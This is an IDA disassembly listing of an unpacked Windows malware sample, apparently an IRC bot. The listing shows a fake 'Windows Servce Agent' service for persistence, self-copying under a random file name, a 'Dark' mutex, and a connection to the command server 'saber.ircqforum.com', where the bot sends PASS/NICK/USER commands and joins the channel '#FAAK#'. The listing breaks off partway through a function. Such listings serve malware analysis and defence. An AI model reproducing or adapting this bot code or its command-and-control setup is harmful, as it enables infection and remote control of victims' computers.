; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5533502AE3C9284283370DDF788A7957 ; File Name : u:\work\5533502ae3c9284283370ddf788a7957_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF58 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAFC8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAF08 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF80 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEEC call dword_4CB03C call sub_40B2BF call dword_4CAEFC call dword_4CAEFC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D158 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2670A39h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2661D38h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D150 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACE0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACE4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB050 push 7530h push offset aDark ; "Dark" push ebx push ebx call near ptr 26900B2h nop push eax nop call near ptr 2690000h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAF14 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 2670A39h nop lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2680EF3h push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293F4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293EC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2680DE1h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 2680CDEh nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2680930h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2670ECEh lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2680CDEh push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D158 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 26808B9h nop push eax push esi push 100000h nop call near ptr 268029Ah lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293E0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2661D38h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2670ECEh push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAEFC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB2C4, 2 jle short loc_401562 mov eax, dword_4DB2C8 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690000h push esi nop call near ptr 26619D4h mov eax, dword_4DB2C8 cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2670ECEh nop mov eax, dword_4DB2C8 push dword ptr [eax+8] nop call near ptr 268019Bh loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB074, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_4293C4 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D160 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_4293A0 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_401622 nop call near ptr 2680930h push eax lea eax, [ebp-0A0h] push offset unk_429360 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429334 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_40169A nop call near ptr 2680930h push eax lea eax, [ebp-0A0h] push offset dword_429300 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC mov dword_4CAE58, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD6C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CADAC push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE40, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACE8 mov dword_4CAE54, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE54, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670ECEh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACEC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAEFC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAFA4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEF8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB024 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEEC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB03C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2670ECEh nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293FC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB03C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE50, bl jz short loc_40199A push offset byte_4CAE50 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB03C push 1388h nop call near ptr 2670ECEh loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAFBC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670ECEh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = 